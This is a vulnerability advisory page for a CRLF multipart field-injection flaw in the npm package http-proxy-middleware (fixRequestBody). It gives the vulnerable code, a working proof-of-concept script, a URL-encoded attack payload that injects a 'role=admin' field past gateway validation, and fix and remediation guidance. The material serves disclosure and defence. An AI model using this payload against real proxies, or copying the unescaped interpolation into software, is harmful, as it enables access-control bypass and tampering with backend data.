Skip to main content

http-proxy-middleware EUVDEUVD-2026-38349

| CVE-2026-55603 HIGH
Improper Neutralization of CRLF Sequences ('CRLF Injection') (CWE-93)
2026-06-18 https://github.com/chimurai/http-proxy-middleware GHSA-gcq2-9pq2-cxqm
7.5
CVSS 3.1 · Vendor: https://github.com/chimurai/http-proxy-middleware
Share

Severity by source

Vendor (https://github.com/chimurai/http-proxy-middleware) PRIMARY
7.5 HIGH
AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N
vuln.today AI
7.5 HIGH

Network-reachable and unauthenticated against the proxy (AV:N/PR:N/UI:N); three stacked deployment preconditions justify AC:H; impact crosses proxy→backend trust boundary (S:C) with high integrity (field injection) and limited confidentiality.

3.1 AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N
4.0 AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N
Red Hat
7.5 MEDIUM
qualitative

Primary rating from Vendor (https://github.com/chimurai/http-proxy-middleware).

CVSS VectorVendor: https://github.com/chimurai/http-proxy-middleware

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
High
Availability
None

Lifecycle Timeline

2
Source Code Evidence Fetched
Jun 18, 2026 - 14:04 vuln.today
Analysis Generated
Jun 18, 2026 - 14:04 vuln.today

DescriptionCVE.org

Summary

fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF:

js
// dist/handlers/fix-request-body.js
function handlerFormDataBodyData(contentType, data) {
  const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
  let str = '';
  for (const [key, value] of Object.entries(data)) {
    str += `--${boundary}\r\nContent-Disposition: form-data; name="${key}"\r\n\r\n${value}\r\n`;
  }
}

A \r\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary.

By contrast, the sibling output branches are safe: application/json uses JSON.stringify (escapes control chars) and application/x-www-form-urlencoded uses querystring.stringify (percent-encodes). Only the multipart branch lacks escaping.

Preconditions

All three must hold; this narrows real-world exposure and is the basis for AC:H:

  1. The proxy app populates req.body with a non-multipart parser (express.urlencoded, express.json, or text) so an injected boundary in a value is not split on input.
  2. The proxied (outgoing) request is sent as multipart/form-data (e.g. an adaptation layer, or any flow that sets the upstream content-type to multipart), so the vulnerable branch runs.
  3. The app calls fixRequestBody (the documented pattern for "I body-parsed, now re-stream"), and an attacker controls at least one body field value or key.

> Note: a pure multipart-in → multipart-out flow (e.g. multer) is generally not exploitable for a *new-field* injection, because the proxy's multipart parser already splits the injected boundary, so req.body and the backend agree. The desync specifically requires a non-multipart input parser.

Impact

When the preconditions hold, an attacker injects/overrides multipart fields seen only by the backend:

  • Validation / access-control bypass bypass gateway-side field checks (demonstrated below: a gateway that forbids role=admin is bypassed; backend grants admin).
  • Parameter tampering add or overwrite fields the backend trusts (IDs, flags, prices).
  • File-part injection inject a filename="..." part into the upstream multipart stream.

Proof of Concept

js
// npm i http-proxy-middleware@4.0.0   (Node ESM: save as minimal.mjs)
import { fixRequestBody } from 'http-proxy-middleware';

// `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it.
// The attacker sent  user=alice%0D%0A--BB%0D%0A...  so this ONE field's value holds CRLF:
const req = { readableLength: 0, body: {
  user: 'alice\r\n--BB\r\nContent-Disposition: form-data; name="role"\r\n\r\nadmin\r\n--BB--'
}};

// Minimal stand-in for the outgoing proxy request; capture what gets written.
const out = [];
const proxyReq = {
  h: { 'content-type': 'multipart/form-data; boundary=BB' },
  getHeader(n){ return this.h[n.toLowerCase()]; },
  setHeader(n,v){ this.h[n.toLowerCase()] = v; },
  write(d){ out.push(Buffer.from(d)); },
};

fixRequestBody(proxyReq, req);          // library rebuilds the multipart body
console.log(Buffer.concat(out).toString());

Output: one input field becomes two parts; role=admin was injected via the unescaped CRLF:

--BB
Content-Disposition: form-data; name="user"

alice
--BB
Content-Disposition: form-data; name="role"     <-- injected part; never present in req.body's keys
admin
--BB--

req.body had a single key (user), so any gateway policy checking req.body.role passes, yet the backend's multipart parser receives role=admin. On the wire the attacker simply sends, as application/x-www-form-urlencoded: user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name="role"%0D%0A%0D%0Aadmin%0D%0A--BB--

Remediation

Neutralize CR/LF (and ") in keys/values before interpolation, or build the body with a real multipart encoder (e.g. FormData / form-data) instead of string concatenation. Minimal fix:

js
function handlerFormDataBodyData(contentType, data) {
  const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
  const bad = /[\r\n]/;
  let str = '';
  for (const [key, value] of Object.entries(data)) {
    const v = String(value);
    if (bad.test(key) || bad.test(v)) {
      throw new Error('fixRequestBody: CR/LF not allowed in multipart field name/value');
    }
    str += `--${boundary}\r\nContent-Disposition: form-data; name="${key.replace(/"/g, '%22')}"\r\n\r\n${v}\r\n`;
  }
}

(Reject is preferable to silent stripping, to avoid masking malicious input.)

AnalysisAI

Multipart form-data field injection in the npm package http-proxy-middleware (versions 3.0.4-3.0.6 and 4.0.0-4.1.0) lets remote attackers smuggle additional form parts past gateway-side validation by embedding CRLF sequences in body values, causing the proxy and backend to parse different field sets. The flaw lives in fixRequestBody's handlerFormDataBodyData helper, which concatenates user-controlled keys and values directly into the multipart wire format without neutralizing \r\n. Publicly available exploit code exists in the GHSA advisory, but no public exploit identified as actively used in the wild and no CISA KEV listing.

Technical ContextAI

http-proxy-middleware is a widely deployed Node.js/Express reverse-proxy library (chimurai/http-proxy-middleware) used to forward HTTP requests to upstream services. The vulnerable code path is dist/handlers/fix-request-body.js, invoked when an integrator calls fixRequestBody after a body parser (express.json, express.urlencoded, text) has already consumed the inbound stream and the outgoing Content-Type is multipart/form-data. The function reconstructs the multipart body by string-interpolating each req.body key and value between boundaries, with no escaping of CR/LF or quote characters. This is a textbook CWE-93 CRLF injection: the attacker-supplied value contains '\r\n--<boundary>\r\nContent-Disposition: form-data; name="role"\r\n\r\nadmin', which terminates the current part and forges a new one. The sibling JSON branch (JSON.stringify) and urlencoded branch (querystring.stringify) sanitize control characters; only the multipart branch is affected. The defect represents a request/parameter desynchronization across the proxy→backend trust boundary, conceptually similar to HTTP request smuggling but at the form-field layer.

RemediationAI

Vendor-released patch: upgrade to http-proxy-middleware 3.0.7 (3.x branch) or 4.1.1 (4.x branch) per advisory GHSA-gcq2-9pq2-cxqm. If immediate upgrade is not possible, apply the upstream fix locally by patching handlerFormDataBodyData to reject (or refuse to interpolate) any key or value containing \r or \n before string-concatenation; alternatively, rewrite the helper to construct the body with a real multipart encoder such as the form-data package or native FormData, which encode field names and values safely. As targeted compensating controls: (a) avoid the dangerous shape by feeding multipart-out proxies a multipart parser like multer on the inbound side so the boundary in a malicious value is split on input - side effect: requires reworking inbound parser middleware and may break JSON/urlencoded routes; (b) stop calling fixRequestBody on routes whose outbound Content-Type is multipart/form-data and rely on streaming pass-through - side effect: loses the ability to mutate body fields server-side; (c) at the gateway/WAF, reject inbound request bodies whose decoded values contain CRLF sequences or substrings matching the proxy's multipart boundary - side effect: may block legitimate text fields with embedded newlines.

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

CVE-2016-2107 MEDIUM POC
5.9 May 05

The AES-NI implementation in OpenSSL before 1.0.1t and 1.0.2 before 1.0.2h does not consider memory allocation during a

Vendor StatusVendor

Share

EUVD-2026-38349 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy